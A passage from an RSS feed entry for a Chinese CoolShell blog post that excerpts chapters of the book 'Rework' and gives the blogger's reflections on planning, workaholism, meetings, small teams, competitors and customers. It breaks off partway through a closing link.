+0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Rework]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9156</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>读了《Rework》这本书好多遍，每次读都有不同的感想。但从来没有把这些感想记录下来，今天把《Rework》书中的一些章节做一些摘录，并把我的一些感想总结出来。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9156.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-9277\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/rework.jpg\" alt=\"\" width=\"235\" height=\"360\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/03/rework.jpg 294w, https://coolshell.cn/wp-content/uploads/2013/03/rework-196x300.jpg 196w, https://coolshell.cn/wp-content/uploads/2013/03/rework-176x270.jpg 176w\" sizes=\"(max-width: 235px) 100vw, 235px\" />读了《Rework》这本书好多遍，每次读都有不同的感想。但从来没有把这些感想记录下来，今天把《Rework》书中的一些章节做一些摘录，并把我的一些感想总结出来。供大家参考。这是一本平生以来让我中毒很深的书，也是一本让我思考得很多的书。希望看到这篇文章的人都能好好地读读这本书。这本书并不难读，是一本你可以一口气不中断就可以读完的书。</p>\n<h4>现实世界</h4>\n<p>“这在现实世界里面行不通”，当你向人们介绍一个新创意时，人们总是这么回答你。这个“现实世界”听起来如此令人沮丧，……只有人耳熟能详，习以为常的事情才会胜利，即使是这些事情已经漏洞百出陈腐低效。</p>\n<p>揭开“现实世界”这个锅盖，你会发现居住在里的人都充斥着悲观主义和失望的情绪。更糟的是，他们想将别人拖进他们的坟墓。如果你是充满希望和野心的人，他们会试着说服你，你的想法是不可能的。他们会说你在浪费时间。</p>\n<p><strong>“现实世界”并不存在，那只是人的一个借口。只是某些人为了开脱 自己的无所作为，跟你一点关系也没有。</strong></p>\n<blockquote><p><strong>感想</strong>：我经常会向一同事和朋友提及一些我的想法，朋友同事们经常会回答我——这个事某某人，某某团队做过了，没成功。或是对我说，你做这个事的时候，要小心这个要小心那个。我觉得，这个时候是最考验我们的时候了，要有一个清醒的头脑去分析别人的话，别人真不代表自己。这个世界上大多数人都是比较保守的，大多数都对这个现实世界都有或多或少的恐惧感。当然，你可以选择做大众，但是如果你想让你的人生有些不同，有些精彩，我还是建议你不要和大多数人想得一样，<strong>如果你和大多数人的想法一样，你必然会和大多数人一样的平庸</strong>。当然，如果你和大多数人不一样，你要么就是天才，要么就是傻瓜。要证明你自己是不是傻瓜，我们可以看看我们过去有没有过一些小成功或小成绩。如果有，那么就应该大胆地坚持自己的想法。</p></blockquote>\n<h4>被高估的“从错误中学习”</h4>\n<p>你真的从错误和失败里面学到什么了吗？你也许学到了别再重蹈覆辙，但是这有什么意义吗？你仍然不知道接下来该做什么。</p>\n<p><span id=\"more-9156\"></span></p>\n<p><strong>相反的应该从成功中汲取养分。成功給予真正靠得住的教材。</strong></p>\n<p>失败并不是成功的先决条件。自然规律是，<strong>逗留在过去的失败中是无法进化的，进化是建立在成功的基础上的</strong>。</p>\n<blockquote><p><strong>感想</strong>：我见过和很多人都在抱怨这不好那不好，但是他们其实并不知道什么是好的，因为——没有见过好的，你将永远不知道什么是好的。就好像你没有见过什么是汽车，你就只会整天在抱怨为什么骑自行车太累。回头想想我们的编程的这个过程也是一样，我们编程技能的提高基本上都是在看到别人的那些漂亮优雅的代码。所以，你一定要去看看那些优秀人干是怎么想的，怎么干的，去那些成功的公司开开眼界。另外，你应该多想想你过去做成功过什么事？那些才是你的长处，才是让你进化的前提。</p></blockquote>\n<h4>计划就是瞎猜</h4>\n<p>除非你是算命先生，长期的商业计划是种幻想。有太多的事实证明那是超出你的掌控的：市场环境、对手、顾客、经济等等。做计划让你觉得一切尽在掌握但实际上你没有。</p>\n<p><strong>当你把计划变成猜测时，就等于进入一个危险的境地。做计划就是在用过去推导未来，等于给你戴上了眼罩。</strong></p>\n<blockquote><p><strong>感想</strong>：你有职业规划吗？如果你有的话，那么你就一定就错了。职业规划是一件很扯淡的事情。我和一些高手都交流过，其实这些人在当初都并不有什么职业规划的，要说有的话，也就是想把技术搞透搞精。这些人在一开始从来没有想过要当个什么经理或是什么架构师之类的东西，这些人就是对技术有非常大的热情，把身边的那些看得见够得着的事情做到好好地，并且保持不持续强大的好奇心努力地学习自己不懂的东西。一个坚定不移的决定和意志力会比任何的计划和职业规划都重要。<strong>你问问自己，想不想当程序员，能不能一辈子都当一个程序员，能不能写程序写一辈子？</strong>（关于做一辈子程序员这个事，大家可以看看我的<a href=\"http://weibo.com/1401880315/zmebaF5tQ\" target=\"_blank\" rel=\"noopener\">新浪微博</a> ——<em>没哪个行业能像计算机行业这么活跃、刺激和有趣了。不仅是新兴工业革命的主力，又渗入到所有的行业中，干一辈子值了。//<a href=\"http://weibo.com/n/_%E4%BD%A0%E4%BA%B2%E7%88%B1%E7%9A%84%E5%81%8F%E6%89%A7%E7%8B%82\">@_你亲爱的偏执狂</a>: 程序员首先是工程师，Professional，就跟律师，医生一样，给大家解决问题；但是另一面呢，又是艺术家，创造新奇好玩的东西。这样的职业做一辈子有什么问题？</em>）</p></blockquote>\n<h4>拒绝壮大</h4>\n<p>规模越大你就得承受更大压力、需要更专业、拥有更强的能力。</p>\n<p><strong>有没有注意到，一个小公司希望自己变大时，大公司却想要变得灵活变通</strong>。记住，一旦你变大了就很难在不解雇人、不破坏士气、不改变你的整个商业路线的情况下收缩规模。</p>\n<p>扩张不必成为你的目标。我们也不是仅在讨论你已有员工数。 还有花费、租金、IT 基础结构、设备等。这些事情不会碰巧发生。 你来决定是否承受这些。如果你决定去承受，你也将遇到新的头痛问题。花费那么多，你强迫自己构建一个复杂的生意，有一大堆困难而高压的事情要解决。</p>\n<p><strong>小公司并不是一个起步，小公司本身就是一个伟大的目标。</strong></p>\n<blockquote><p><strong>感想</strong>：很多人都会以为拥有一支成百上千人的团队而成为一个成功的标志。就像很多朋友和猎头都会问我管多少人，当我说，我就管个十人不到的团队时，他们似乎都会觉得我很平庸。他们中的一些人基本上就不会再问我在干些什么了，因为他们可能觉得这么少的人都干什么大事呢？。当然，我说了他们也不一定听得懂。人多可能恰恰说明你可能在干一个劳动密集型的事情，这并没有什么可自豪的。真正自豪的不是在战争中用人海战术让大量的人去当炮灰，而是用一个小分队端掉敌军的军火库或指挥部。所以，<strong>关键不是你有多少人，关键是你做的事是不是有非凡的意义，而且你用了最小当量的资源。这就好像建立一个高性能的网站一样，用成百上千的服务器不算本事，谁用的少才是本事</strong>。</p></blockquote>\n<h4>工作狂</h4>\n<p>工作狂的行为不但没有必要，而且愚蠢至极。过多的工作并不代表你对项目更关注，也不代表你作了更多的贡献，这仅仅意味着你干了更多的活而已。<strong>工作狂制造的麻烦比解决的麻烦多</strong>。</p>\n<p>工作狂往往不得要领。他们花大把大把的时间去解决问题，<strong>他们以为能靠蛮力来弥补思维上的惰性，其结果就是折腾出一堆粗糙无用的解决方案</strong>。</p>\n<p><strong>如果你只是为了工作而工作，那么你就会丧失判断力。你的价值 观和决策方式都是扭曲</strong>。你没有能力去判断哪些工作值得做，哪些工作该放弃，最后搞得自己筋疲力尽，而一个筋疲力尽的人是无法作出明智的决定的。</p>\n<p><strong>工作狂不是英雄。他们不是在节约时间而是在浪费生命。真正的英雄早已想出了办法，搞定一切，然后回家了。</strong></p>\n<blockquote><p><strong>感想</strong>：这让我想到了那些为了冲业绩的业绩KPI的制订者们，很多时候，他们的价值观和决策真是的很扭曲的。他们生生地把一种技术密集型的工作变成了劳动密集型。<strong>他们其实就是在拼命地训练客户需要的那匹“更快的马”，而从来没有想过要去造个更快的交通工具。</strong></p>\n<p>另外，每当我在优秀员工的评比和员工的绩效考核中的跨团队比较中我们能听到很多很多的人说，XX员工工作任劳任愿，工作得很晚很晚，付出很大。老实说，我真的为这样的价值观感到悲哀。最后，我还想说说关于超时工作，我也经常学习和做自己的事情到深夜，我相信很多人也这样，但我们应该认真思考一下Rework中的这个观点，<strong>我们超时工作是在使用蛮力呢？还是在使用热情和兴趣呢？</strong></p></blockquote>\n<h4>挠自己的痒处</h4>\n<p>想要创造一款伟大的产品或者是某项卓越的服务，最直接、最简单的方法就是去做你自己想用的东西。设计你了解的产品——你就能很快发现它到到底好不好用。</p>\n<p><strong>最棒的是，“解决你实际遇到的问题”会让你爱上你做的事情</strong>。 你知道问题所在并且熟知解决它的价值。这是无法替代的。毕竟，你会充满希望的在接下来的日子里继续做。 甚至会占据你余生所有时间。所以，最好还是做自己真正关心的东西。</p>\n<blockquote><p><strong>感想</strong>：这就是吃自己的狗食，做自己感兴趣的事。软件项目中，我最恨的就是那种闭门造车造出来的自己都不用的东西（不是从已有业务生长出来的东西），以及那些自己不动手就在边上指指点点的各种咨询师或是喜欢动用行政命令的高层管理者。</p>\n<p>但是，在这里，我更想说说我所理解的另一层“挠自己痒处”——有天我和一前前同事聊天，她说她在那家公司十多年了，现在老了，虽然心不老还想折腾，但是对自己的能力没自信，求稳了。我听到很多朋友想对自己有个改变，比如有QA的同学想做开发，有生活在内地的朋友想来大城市的大公司里有更爽的经历，<strong>这些人明明想活得更有激情，但最终在现实面前认命妥协。我说既然有痒处，还比较痒，那就应该毫不犹豫革自己的命，轰轰烈烈地活一次</strong>。别等老了后悔当年没有勇气。“挠自己痒处”就是挑战自己，革自己的命，既然想了，就做吧，生命只有一次，值得我们轰轰烈烈地去为之付出。</p></blockquote>\n<h4>“没时间”不是借口</h4>\n<p>人们最常用的借口是：“时间不够。”他们宣称很想开一家公司，学一种乐器，写一本书，等等，但时间不够用。拜托，如果你善加利用，时间总是有的。</p>\n<p>把看电视或玩魔兽的时间腾出来完成你的创意；把10点上订改成11点上床，这不是怂恿你通宵达旦或是一天干足16个小时——我们要说的是，第周匀出一些业余时间来，就足够你去做些事情了。</p>\n<p>当你拥有某种强烈的渴望时，你就能挤出时间来——不管你身上是否背负着其他责任。<strong>事实上，真相是大多数的渴望并不是那么强烈。于是他们拿时间当借口来自我开脱。别给自己错口。</strong></p>\n<p>另外，永远会有正当其时的时候，你总会觉得自己会么太年轻，要么太老，要么太忙，太穷，或是别的什么原因。<strong>如果你总是为遇到一个完美时机而发愁，那么，完美的时机绝对不会到来</strong>。</p>\n<blockquote><p><strong>感想</strong>：我在“<a title=\"挑战无处不在 \" href=\"https://coolshell.cn/articles/7048.html\" target=\"_blank\" rel=\"noopener\">挑战无处不在</a>”中也表达过这样的观点，<strong>关于热情和态度，说白了就是不要给自己找借口</strong>。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。而且，如果你只能在万事俱备的情况下才能做事，那么，你还有什么价值呢？人的价值和竞争力就是在条件并不完美的时候还能搞定事情。</p></blockquote>\n<h4>画沙为界，立场明确</h4>\n<p>坚定的信念能为你赢得超级粉丝，他们会为你马首是瞻，会舍身保护你，他们充满激情的口碑传播将胜过这世间一切的广告。</p>\n<p>强大的主见，也是要付出代价的，在这个过程中，会有人诋毁你，说像傲慢，冷漠。没办法，这就是人生，有人喜欢你，就有人憎恨你。如果你的说法没有引起任何人的心烦意乱，只能说明你的推广力度可能还不够。（也可能代表你比较无趣）</p>\n<p><strong>对我们来说，我们的产品所不能处理的和我们的产品所能处理的一样令人感到骄傲</strong>。</p>\n<p>我们的产品不适合每一个人，没有关系，我们愿意为了那些更加深爱我们的客户而放弃另一部分客户。这就是我们的立场。</p>\n<blockquote><p><strong>感想</strong>：我从来不想做一个大众脸。酷壳上有很多比较有争议的文章，也有很多人说我很极端，偏执，有优越感，清高……，说什么的都有，无所谓。我有一个做新闻编辑的太太，主辑要求文章要客观和没有观点，不温不火，本来好好的一篇有观点的文章被编辑过后只剩下了一堆食之无味的文字。<strong>我喜欢有鲜明的观点，因为鲜明的观点和立场能不但能让文章鲜活起来，而且还能迎来更多的不同意见和更多的思考</strong>（而不只是“顶”“赞”之类无意义的回复）。我并不希望我的观点是正确的，我只希望能和更多的人加入我一同思考，而思考最佳的催化剂就是争论。我从这个行为中收益到了很多很多。</p></blockquote>\n<h4>找好退路无异于失败</h4>\n<p>你还常常听到：“你的退出战略是什么？（万一不成功，你怎么办）”甚至在你刚开始启动时就听到它。这些人不知道怎么开始就要想到怎么结束？急什么呢？如果在全情投入之前就想怎么撤出，这种逻辑不是一般的混乱。</p>\n<p>你正打算恋爱一场就计划着分手？你在第一次约会时就签订婚前协议？你会在婚礼早上先约见离婚律师？那也太荒谬了吧。</p>\n<p><strong>你需要的是承诺战略而不是退出战略。你要考虑的是你的项目怎样发展和成功，而不是怎样撤退</strong>。如果整个战略是基于撤退的，一开始你就不会有机会成功。</p>\n<blockquote><p><strong>感想</strong>：几年前，我有一个朋友被创新工场忽悠从美国退学回来创业，我非常质疑他退学创业这个事。他对我说，没事，反正就算失败我也不会失去什么。还有一个朋友一年前从美国回国创业，也对我说，就算没搞好也没什么。我都对他们说，如果你以为用试一试的态度就可以把一个事情搞成功，那么你让这世上那些Full Time全天候从事这个事情的并有一些积累的人情何以堪？如果你创业时都想好了失败，那就说你你对这个事没有必胜的信心，也说明连你自己都不相信这个事，你还干个什么劲啊？<strong>你与其把时间用在思考如果创业没成功你会怎么办上，你还如去思考一下如何做才有更大的胜算</strong>。</p></blockquote>\n<h4>条件受限是好事</h4>\n<p>“我没有足够的时间、钱、人手、经验”。不要现无谓的抱怨了。“少”不是什么坏事。“条件受限”貌似缺陷，实力优势。有限的资源能激发你在现有的条件下完成任务的能力。没有一点浪费空间，一切都需要你发挥最大的创造力。</p>\n<p>你见过囚犯用肥皂和汤勺制作武器吗？你们是“创新”的典范。只有在条件受到限制时，我们才会发挥出“小材大用”的能力。</p>\n<blockquote><p><strong>感想</strong>：我相信这世上很多事情都是被条件受限逼过去的。我回想到我以前经常在干的性能调优，想尽一切办法榨干系统资源这件事上，我就无法不赞同这句话。想想淘宝的TFS，就是一个因为条件受限到了不得不自己干的时候，被逼出来的东西。如果你没有足够多的人，你才会去想要怎么去优化工作和开发效率，于是才会逼着你去开发一些自动化的工具，而这些工具恰恰解放了生产力可以让你更快地干更多的事。<strong>只有条件受限，才会从劳动密集型中激发出知识密集型的东西</strong>。再回到以前我的那篇“<a title=\"我们需要专职的QA吗？\" href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\" rel=\"noopener\">是否需要专职的QA</a>”一文说的到东西，如果你有很多很多帮你做测试的QA，你就不会去测试，你的团队也就不会有自动化测试等工具。这就好像在中国这个劳动力又多又廉价的大国下，基本上不需要你在技术上的创新，你只需要去不断地迁就这些低端用户，迁就这些用户越多，你还能有什么重大创新吗？真正的创新是帮助用户成长，而不是迁就用户。</p></blockquote>\n<h4>与其做个半成品，不如做好半个产品</h4>\n<p>同时做N件事的结果就是：一大把绝妙的点子最后被转化成一个蹩脚的产品。</p>\n<p>有舍才有得，砍掉多余的野心，你就会发现慢慢做一件正事要胜过毛毛躁躁地做一堆傻事。</p>\n<p>很多东西都是越简短越好。拿起斧子动手砍吧，为了一个“伟 大”的起点，让我们把那些“挺不错”地枝节给砍掉吧。</p>\n<blockquote><p><strong>感想</strong>：这正如“<a title=\"为什么中国的网页设计那么烂？\" href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\" rel=\"noopener\">为什么中国的网页设计这么烂</a>”中说的：“中国的学生只是去记忆东西而不是真正的理解。他们从来不花时间去思考，而只是贪婪地去获取更多的信息”。与其记忆那么多的东西，还不如好好理解部分的东西。还有一种说法是：“Done is better than Perfect!”，这句话某些时候说得也挺对的，尤其是对于那些完美地长期不能Done的项目。但是Done一个Ugly的东西还不如不做。所以平衡Done和Perfect的方式正好就是这句话——“与其做个半成品，不好做好半个产品”，因为，<strong>一个半成品会让人绝望，而半个好产品会让人有所期望，这就是其中的不同</strong>。</p></blockquote>\n<h4>关注不变因素</h4>\n<p><strong>很多公司和人都关注即将到来的大事件。他们热衷于新鲜热辣的事物，追逐最新的潮流和技术</strong>。</p>\n<p>这是一条愚笨之路。一旦走上这条路，你就会关注时髦、放弃本质，把注意力放到不断变化的事物上，而不是持久不变的事物上。</p>\n<p>你的事业的核心应该建立在不变的基础之上。<strong>你应该投资于那些人们现在需要，并且十年后仍然需要的事物上</strong>。</p>\n<p>要记住，时尚会凋零。只有当你聚焦于长久的功能时，你才会发现自己把握住了永不落伍的东西。</p>\n<blockquote><p><strong>感想</strong>：一年多前，我在《<a href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\" rel=\"noopener\">来信、创业和移动互联网</a>》中谈到过那个时尚的“移动互联网”，说了四个方向：阅读，分享交流，电商，推荐/提醒。大家可以看到现在地铁上已经不像以前很多人都在看报纸了，而是很多人都在看手机。而手机端的社交（分享和交流），电子商务，以及很多推荐、提醒都越来越火了。这些东西都是都是“常量”——十年前存在，未来十年也会存在，我们看到很多人太过着眼于手机上的应用，而不是那些不变的因素。今天还有两个巨火无比的流行词，一个是云计算，一个是大数据，那些一听到这两个词就会兴奋的人，我不知道他们有没有真正理解这两词？他们真正理解了云计算其实就是那个N多年前就提过的IT服务，关于大数据，我完全不知道为什么会火，你会因为听到中国人口有13亿你就会兴奋吗？老鼠的数量比较这个更多呢，呵呵。其实，数据无所谓大小之分，只有好数据和烂数据之分，还热数据和冷数据之分。十年前有两个更为流行的词：一个是计算网格，一个是数据网格，这两个词5年前就凋零了，今天的云计算和大数据，有多少人意识到了其中有什么相通的，或是其中的不变因素是什么？<strong>大数据和云计算其实都在描述两个东西，一个是超大规模的计算能力，另一个则是服务。还有一个词是“平台化”，这可能被大家忽略了，通过平台进行计算和数据服务，这才是那计算机存在以来基本不变的东西，无论你是移动互联网，还是互联网，不管是云计算，还是大数据，都需要一个平台提供服务</strong>。</p></blockquote>\n<h4>会议有毒</h4>\n<p>世人最可恨的打扰莫过于开会。原因是：</p>\n<ul>\n<li>会议中充斥着纸上谈兵和抽象的概念，大多是不切实际的。</li>\n<li>会议中能传达的信息量少之又少。</li>\n<li>人们在会议中容易跑题，堪比暴风雪里的芝加哥出租车还容易迷失方向。</li>\n<li>会议要求做充分的准备，但是大多数人没有时间准备这些。</li>\n<li>会议制定的议程常常是模糊的，根本就没有人真正清楚目标是什么。</li>\n<li>会议中难免会轮到那么一两个低能人士发言，于是大家的时间都浪费在他们的扯淡上了。</li>\n<li>会议具有自我繁殖功能。一次会议总能导致另外一次，以及再导出下一次，生生不息&#8230;&#8230;</li>\n</ul>\n<blockquote><p><strong>感想</strong>：这世上除了“他爹的TDD”开发模式，还有“他妈的TMD”开发，就是Team Meeting Driven，很多公司有太多太多的会要开了，开会基本上成了每天工作最主要的东西，对于一些管理者来说一星期中居然有80%时间都在开会。其实，这么多的会议并不意味着你在管理，只是意味着你对要管的东西完全不知道，需要通过开会来了解。很多会完全是没有议题的，大家坐在一起东拉西扯，非常非常地低效。我通常把这种会叫做“神仙会”，用个流行语来说，就是Cloud Meeting，大家神一要的各说各的，似乎，没有这种形式，不能证明参会者的存在，用会议来证明他们的存在，相当的可笑。对我来说，<strong>如果只是带一个或几个问题来开会，简直是就是扯谈，如果对于问题没有几个备选的解决方案和各方案的评估，完全没有必要开会</strong>。Amazon的会议是不会有PPT的，会议组织者会要要讨论的东西写好并打印出来，在会前给参会者把要讨论的东西打印出来，开会前10分钟左右，会场里没有任何声音，每个人都在读文档，全部人读完后，直接对议题发表自己的个人意见应该怎么干，然后很快形成共识，散会。</p></blockquote>\n<h4>人人都得干活</h4>\n<p>在一个小团队里，你需要的是干活的人，而不是监工。每个人都得做事，没有人可以袖手旁观 。</p>\n<p>这意味着你在招聘中要避免招到监工型的人物，这些人喜欢对别人谆谆教导。对于小团队来讲监工型的人就是累赘。</p>\n<p>监工们还喜欢把人拖去开会。实际上，会议是监工们最好的朋友，因为只有在开会时才显得出他们的重要。</p>\n<blockquote><p><strong>感想</strong>：<strong>为什么会有办公室政治，那就是因为这个公司里有一部分人不干活，不做事，</strong>于是，他们就有大量地时间开始胡思乱想，他们花大量的时间不是想怎么去做事，而是想自己怎么更容易的打垮别人得到上面的认可，从而得到晋升。在大公司中这样的情况会比Startup的公司多得多。所以，如果你不想滋生办公室政治，那么你需要干两个事，第一个是最好不要变成大公司，第一个是让每个人都在实干。我最近看到其大公司，虽然很多东西不规范，而且很多东西在野蛮生长，有些事情也有点土，但绝大多数人都在实干，所以，只要每个人都在实干，就算干的方式不好，干出来的东西有问题，也比那些滋生办公室政治的公司强上几百倍</p></blockquote>\n<h4>拒绝照搬 &amp; 将你的产品去商品化</h4>\n<p>有时候，照猫画虎也是一种学习过程，就好像艺术系的学生通过临摹美术馆的作品来学习绘画。当你还是一个学生时，这种模仿是一种很有效的学习工具。不幸的是，商业战场上的模仿却不招人待见。而这也意味着你打算通过当盲从者或抄袭者的方式来建立你的事业，这注定是一个失败模式。</p>\n<p>模仿的问题在于，简单的复制扼杀了深层的理解——而理解才能激发成长。你不但要知其然，还要知其所以然。而当你复制时，你会忽视这一点。你照搬的只是表面，而不是本质。</p>\n<p>一旦你扬名立万，模模仿者会蜂拥而至，这就是生活。但你可以用一种绝佳的方式来保护自己不被 他们吞没：让你自己成为你的产品或服务的一部分。</p>\n<blockquote><p><strong>感想</strong>：在《<a title=\"抄袭，腾讯 和 产品\" href=\"https://coolshell.cn/articles/7617.html\" target=\"_blank\" rel=\"noopener\">抄袭，腾讯 和 产品</a>》中我谈到过这个事情，虽然我对抄袭和山寨很反感，但是我不得不承认这是这个世界的一部分，好的东西总是会被人复制的，这也不一定是一个坏事，这会让你更清楚认识到什么是真正产品的价值，什么是核心竞争力，你但凡有一点急功近利的想法你都要想一想那堆抄袭者，其中还不乏有钱有人的专业抄袭的公司。而面对被抄袭这样的事情，最好的解决方法是着眼着远期而不是短期——<strong>如果你着眼短期，你无疑会面对众多的抄袭和模仿者让你万劫不复，但是，如果你着眼长期，做一个3-5年需要花费大量精力才会成熟的产品，那么，那些急功近利的抄袭者会知难而退的，因为长期并不符合抄袭者的价值观</strong>。</p></blockquote>\n<h4>做得比对手少</h4>\n<p>传统智慧告诉我们，要想打败竞争者就要胜人一筹。如果人家有 4 个功能，你就得 5 个（或者 15 个，25 个）。如果人家花了$20,000，你就得花 $30,000。如果人家有 50 个员工，你就得要 100 个。</p>\n<p>这样的冷战式的攀比思维会把人引上绝路。一旦被卷入“军备竞赛”，你就陷入了一场无止境的战争，这场战争会让你耗费大量的金钱、时间和动力。并且使你陷入长期的防御战中。处于防御状态的公司是没有预见力的；他们只能后知后觉，他们无法领跑，只能尾随。</p>\n<p>那么你应该怎么做呢？比你的竞对手做得少，以此来打败他们。<strong>让自己去解决简单的问题，把那些纠结的、麻烦的、艰难的、讨厌的难题留给竞对手去解决</strong>。不要总想着去胜人一筹、去超过别人，试试相反的做法。</p>\n<p>不要因为你的产品或服务不如别人的花哨就感到自惭形秽。把他们做得醒目高调，并引以为傲。就像对手那些强有力的销售他们多功能的产品一样销售你那简约的产品。</p>\n<blockquote><p><strong>感想</strong>：一个最典型的例子就是iPad，它干得比Laptop少，比上网本少，就是一个很简单的上网和简单游戏的设备，但是他有非常简单的用户体验，让两三岁的儿童和六七十岁的老人都能很快上手。你相信吗？我花了好多年都没教会我父母用电脑以及手机里除了电话功能外的其它功能，但我只花了10分钟就教会他们使用iPad上网了。这就是“做得比对手少”的强大。<strong>只有简约的东西，才会显得更精致，才会显得更专业</strong>。</p></blockquote>\n<h4>谁在乎他们在干什么</h4>\n<p>不管怎样，终究是不值得过于关注你的竞争者。为什么？因为<strong>关注别人太多会让自己受到困扰</strong>。他们现在在做什么？他们下一步呢？我们该怎样作出回应？</p>\n<p>每一个小小的动作都会被分析一下。那是一种可怕的心态。这会产生不可抗拒的压力和焦虑。这样的想法会滋长不好的东西。</p>\n<p>这是没有意义的事情。竞争者的风景时时在变。你的竞争对手明天一个样儿，今天一个样儿。完全在你控制之外。去担心你所不能控制的事情有意义吗？</p>\n<p>过于关注竞争者会混淆你的视野。当你一直吸收别人思想时， 你的机会则会减少。你变得反动而不是充满想象力。你只不过是将你竞对手的产品换了个包装。</p>\n<p>如果你打算做一个“the iPod killer”或“the next Pokemon”，你已经死了。你是在承认你的竞争者所设定的参数。你没有跳出 Apple 的套路。他们制定了这个游戏规则。你不可能打败制定规则的那个人。你必须重新制定一个规则，而不是稍微改建一点点。</p>\n<blockquote><p><strong>感想</strong>：这个社会浮躁之处就在于我们太多的观注了别人，人比人气死人。我们很多人都注意到了别人的风光，看到别人创业被注资，看到别人找到了好的工作，看到了别人不走正道而发达，看到了别人很轻松还挣得多，甚至看到别人的粉丝比自己多，等等，等等，这些东西让自己的心态变，变得非常地不淡定了。眼红也是魔鬼，因为眼红让人心理扭曲了的例子还少吗？<strong>不要在乎别人干了什么，你应该多看看自己的长处是什么，每个人都有每个人的路，你要做的是按照自己的节奏和自己擅长的方式行事，而不是小猫钓鱼</strong>。</p></blockquote>\n<h4>养成对客户说“不”的习惯</h4>\n<p>说“好的”很容易。我们很容易接受同意一个新功能、同意一个过于乐观的截止日期、笑纳一个平庸的设计。很快，一大堆你曾经说“yes”的事情就发生连锁反应，很多你不想要的东西越堆越高，甚至你都看不出原来想要的东西。</p>\n<p>别相信“顾客永远是对的”这类的话。如果你是一个大厨，你的很多客人说你做的菜太咸或者太烫，你可以改。但是如果有一些挑剔的老主顾要求在宽面条里面加些香蕉，你千万不要理会他们，没关系。若是为了少数顾客的要求而毁了产品不值得。</p>\n<p><strong>你的目标是确保你的产品与就是和你合拍的产品，你就是你自己产品最踏实的粉丝。你是最信赖它的那个人</strong>。那样的话，你会说：“我想你也会爱它的，因为我爱它。”</p>\n<blockquote><p><strong>感想</strong>：亨利福特说过：“如果我要问我的客户要什么，他们会告诉我他们要一匹更快的马”，所以，过份的迁就用户并不是一件好的事，相反会是一件很不好的事。互联网和电视节目一样都有一个万恶的KPI，电子节目那万恶的KPI是收视率，而互联网的万恶KPI是流量。于是<strong>很多公司为了流量开始不择手段，就像电视节目用庸俗化来提高收视率一样，我们的一些互联网产品也使用庸俗化的东西来提高流量。我们要做的是一个让人称道的有品质的产品，而不是一个只有访问量的产品</strong>。</p></blockquote>\n<h4>不要攀客户的高枝</h4>\n<p>也许你曾经见过这样的场景：一个顾客向一家公司投了很多钱。这家公司想要尽可能的取悦那个顾客。为了迎合这个客户的要求而改变自己的产品，渐渐地，你的产品就会脱离普遍客户的基础。</p>\n<p>而且，突然有一天，这个大客户绝尘而去，公司则会背负一个包袱——这个产品是围绕着一个已经离开了的人设计的。而其他人没法用。</p>\n<p>人在变，环境在变，你不可能满足所有人的所有要求。<strong>公司要对某一类型的客户全情投入，而不是对某个善变的客户唯唯诺诺</strong>。</p>\n<blockquote><p><strong>感想</strong>：你永远要找到自己的定位，你不可能满足所有的人。就像屌丝们喜欢的北京的动物园批发市场和高富帅们喜欢的北京燕莎商场一样，他们分别定位于不同的用户。你的产品从生下来的那一时刻就应该需要做好定位，是面对什么样的人群。而且，你也不可能实现所有人的需求的。有时候，失去一些客户并不是坏事，<strong>我们要做的是管理我们的客户，让客户认同我们，而不是被客户牵着走</strong>。</p></blockquote>\n<h4>一夜成名只是传说</h4>\n<p>你不会瞬间大红大紫，也不会一夜暴富，你所了解的那些道听途说的“一夜成名”的故事，深挖一点，你就能发现这些成功人士在到达引爆点之前，都已经在这个方向 上苦熬了很长时间。</p>\n<p>把一夜成名的迷梦换成一步一个脚印的成长行动吧。道路很艰难，但你必须充满耐心。你得用功去做，在遇到伯乐前，你得努力很长时间。</p>\n<blockquote><p><strong>感想</strong>：这和我在<a title=\"程序算法与人生选择\" href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a>一文中所说的那个最短路径的算法的类比一样，与其展望要当什么架构师或是要成为牛人的憧憬，不如把身边看得见够得着的东西学扎实，干出色。一夜成名只是一个传说，你知道酷壳是因为我写十多年的博客，你知道我是因为我积累了十多年的编程，看看酷壳以前介绍过的<a href=\"https://coolshell.cn/articles/5651.html\" target=\"_blank\" rel=\"noopener\">王平同学</a>吧。<strong>很多事情都不是偶然的，都是有前兆的，还是我<a href=\"https://coolshell.cn/articles/7048.html\" target=\"_blank\" 